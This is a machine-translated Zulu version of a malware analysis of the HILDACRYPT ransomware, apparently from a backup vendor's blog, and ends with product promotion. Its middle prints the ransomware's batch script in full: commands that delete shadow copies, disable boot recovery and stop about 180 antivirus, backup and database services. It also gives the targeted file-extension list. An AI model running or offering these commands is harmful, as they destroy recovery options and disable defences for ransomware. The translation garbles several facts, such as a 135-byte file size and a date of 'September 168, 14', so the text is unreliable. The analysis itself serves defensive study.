🥇HILDACRYPT: I-ransomware entsha ishaya izinhlelo eziyisipele nezixazululo zokulwa namagciwane

Sawubona, Habr! Nakulokhu, sikhuluma ngezinguqulo zakamuva zohlelo olungayilungele ikhompuyutha esigabeni se-Ransomware. I-HILDACRYPT iyi-ransomware entsha, ilungu lomndeni wakwa-Hilda elatholwa ngo-Agasti 2019, eliqanjwe ngekhathuni ye-Netflix eyasetshenziswa ukusabalalisa isofthiwe. Namuhla sijwayelana nezici zobuchwepheshe zaleli gciwane le-ransomware elibuyekeziwe.

Enguqulweni yokuqala ye-Hilda ransomware, isixhumanisi kwenye ethunyelwe ku-YouTube i-trailer uchungechunge lwamakhathuni lwaluqukethwe encwadini yesihlengo. I-HILDACRYPT izenza isifaki esisemthethweni se-XAMPP, ukusabalalisa kwe-Apache okulula ukukufaka okuhlanganisa i-MariaDB, PHP, ne-Perl. Ngesikhathi esifanayo, i-cryptolocker inegama lefayela elehlukile - xamp. Ngaphezu kwalokho, ifayela le-ransomware alinayo isiginesha ye-elekthronikhi.

Ukuhlaziya okumile

I-ransomware iqukethwe kufayela le-PE32 .NET elibhalelwe i-MS Windows. Ubukhulu bayo buyi-135 bytes. Kokubili ikhodi yohlelo eyinhloko kanye nekhodi yohlelo lokuvikela kubhalwe ku-C#. Ngokosuku lokuhlanganiswa kanye nesitembu sesikhathi, kanambambili idalwe ngoSepthemba 168, 14.

Ngokusho kwe-Detect It Easy, i-ransomware igcinwa kungobo yomlando kusetshenziswa i-Confuser ne-ConfuserEx, kodwa lezi obfuscators ziyafana nangaphambili, yi-ConfuserEx kuphela elandela i-Confuser, ngakho amasiginesha ekhodi yawo afanayo.

I-HILDACRYPT ihlanganiswe ngempela ne-ConfuserEx.

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

I-vector yokuhlasela

Ngokunokwenzeka, i-ransomware yatholwa kwenye yezingosi zokuhlela zewebhu, ezizenza uhlelo olusemthethweni lwe-XAMPP.

Lonke iketango lokutheleleka lingabonakala ku app.any.run sandbox.

Obfuscation

Izintambo ze-ransomware zigcinwa ngendlela ebethelwe. Lapho yethulwa, i-HILDACRYPT iwasusa ukubethela isebenzisa i-Base64 ne-AES-256-CBC.

setting

Okokuqala, i-ransomware idala ifolda kokuthi %AppDataRoaming% lapho ipharamitha ye-GUID (Globally Unique Identifier) ikhiqizwa ngokungahleliwe. Ngokungeza ifayela le-bat kule ndawo, igciwane le-ransomware liyethula lisebenzisa i-cmd.exe:

cmd.exe /c JKfgkgj3hjgfhjka.bat & phuma

Ibese iqala ukwenza umbhalo wenqwaba ukukhubaza izici zesistimu noma amasevisi.

Umbhalo uqukethe uhlu olude lwemiyalo ecekela phansi amakhophi ethunzi, khubaza iseva ye-SQL, ikhophi yasenqolobaneni kanye nezixazululo zokulwa namagciwane.

Isibonelo, izama yehluleka ukumisa izinsiza ze-Acronis Backup. Ngaphezu kwalokho, ihlasela izinhlelo zokusekelayo nezixazululo ze-antivirus ezivela kubathengisi abalandelayo: Veeam, Sophos, Kaspersky, McAfee nabanye.

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vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
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Uma amasevisi nezinqubo ezishiwo ngenhla zikhutshaziwe, i-cryptolocker iqoqa ulwazi mayelana nazo zonke izinqubo ezisebenzayo isebenzisa umyalo wohlu lwemisebenzi ukuze kuqinisekiswe ukuthi zonke izinsizakalo ezidingekayo ziphansi.
uhlu lwemisebenzi v/fo csv

Lo myalo ubonisa uhlu oluningiliziwe lwezinqubo ezisebenzayo, izici zazo ezihlukaniswa ngophawu ",".
««csrss.exe»,«448»,«services»,«0»,«1�896 ��»,«unknown»,»�/�»,«0:00:03»,»�/�»»

Ngemuva kwalokhu kuhlola, i-ransomware iqala inqubo yokubethela.

Ukubethela

Ukubethela kwefayela

I-HILDACRYPT idlula kukho konke okuqukethwe okutholakala kuma-hard drive, ngaphandle kwamafolda e-Recycle.Bin kanye nama-Reference AssembliesMicrosoft. Lokhu kuqukethe amafayela abalulekile e-dll, pdb, njll. wezinhlelo zokusebenza ze-.Net ezingase zibe nomthelela ekusebenzeni kwe-ransomware. Ukuze useshe amafayela azobethelwa, uhlu olulandelayo lwezandiso lusetshenziswa:

«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

I-ransomware isebenzisa i-algorithm ye-AES-256-CBC ukuze ibethele amafayela omsebenzisi. Usayizi oyinhloko ungamabhithi angu-256 futhi usayizi wevekhtha yokuqalisa (IV) ungamabhayithi angu-16.

Kusithombe-skrini esilandelayo, amanani we-byte_2 ne-byte_1 atholwe ngokungahleliwe kusetshenziswa i-GetBytes().

Ukhiye

PHAKATHI KANYE

Ifayela elibethelwe linesandiso esithi HCY!.. Lesi isibonelo sefayela elibethelwe. Ukhiye kanye ne-IV okukhulunywe ngakho ngenhla kwadalelwa leli fayela.

Ukubethela kokhiye

I-cryptolocker igcina ukhiye we-AES okhiqiziwe efayeleni elibethelwe. Ingxenye yokuqala yefayela elibethelwe inesihloko esiqukethe idatha efana ne-HILDACRYPT, KEY, IV, FileLen ngefomethi ye-XML, futhi ibonakala kanje:

Ukubethela kokhiye we-AES kanye ne-IV kwenziwa kusetshenziswa i-RSA-2048, futhi ukubhala ngekhodi kwenziwa kusetshenziswa i-Base64. Ukhiye wasesidlangalaleni we-RSA ugcinwa emzimbeni we-cryptolocker kwenye yeyunithi yezinhlamvu ebethelwe ngefomethi ye-XML.

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

Ukhiye wasesidlangalaleni we-RSA usetshenziselwa ukubethela ukhiye wefayela le-AES. Ukhiye wasesidlangalaleni we-RSA ubhalwe ngekhodi i-Base64 futhi uqukethe imodulus kanye ne-exponent esesidlangalaleni engu-65537. Ukususa ukubethela kudinga ukhiye oyimfihlo we-RSA, umhlaseli anawo.

Ngemva kokubethela kwe-RSA, ukhiye we-AES ubhalwa ngekhodi kusetshenziswa i-Base64 egcinwe efayeleni elibethelwe.

Umlayezo wesihlengo

Uma ukubethela sekuqediwe, i-HILDACRYPT ibhala ifayela le-html kufolda ebethelwe kuyo amafayela. Isaziso se-ransomware siqukethe amakheli e-imeyili amabili lapho isisulu singathinta umhlaseli.

[i-imeyili ivikelwe]
[i-imeyili ivikelwe]

Isaziso sokuqola siqukethe nomugqa othi “No loli is safe;)” - ireferensi yezinhlamvu ze-anime ne-manga ngokubonakala kwamantombazane amancane avinjelwe e-Japan.

isiphetho

I-HILDACRYPT, umndeni omusha we-ransomware, ikhiphe inguqulo entsha. Imodeli yokubethela ivimbela isisulu ekususeni ukubethela amafayela abethelwe i-ransomware. I-Cryptolocker isebenzisa izindlela zokuvikela ezisebenzayo ukukhubaza izinsiza zokuvikela ezihlobene nezinhlelo eziyisipele nezixazululo ze-antivirus. Umbhali we-HILDACRYPT ungumlandeli wochungechunge opopayi u-Hilda oboniswe ku-Netflix, isixhumanisi se-trailer esasiqukethwe encwadini yokuthenga yenguqulo yangaphambilini yohlelo.

Njengenjwayelo, I-Acronis Backup и I-Acronis True Image ingavikela ikhompyutha yakho ku-HILDACRYPT ransomware, futhi abahlinzeki banamandla okuvikela amakhasimende abo ngayo I-Acronis Backup Cloud. Ukuvikelwa kuqinisekiswa ukuthi lezi zixazululo zihlanganisa i-cybersecurity akubandakanyi ukwenza isipele kuphela, kodwa nohlelo lwethu lokuvikela oludidiyelwe I-Acronis Active Protection - Inikwe amandla imodeli yokufunda yomshini futhi isekelwe ku-heuristics yokuziphatha, ubuchwepheshe obukwazi ukumelana nosongo lwe-ransomware yosuku oluyiziro ngokungafani nezinye.

Izinkomba zokuyekethisa

Isandiso sefayela HCY!
HILDACRYPTReadMe.html
xamp.exe enohlamvu olulodwa "p" futhi akukho siginesha yedijithali
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Source: www.habr.com

I-HILDACRYPT: I-ransomware entsha ishaya amasistimu wokusekelayo nezixazululo ze-antivirus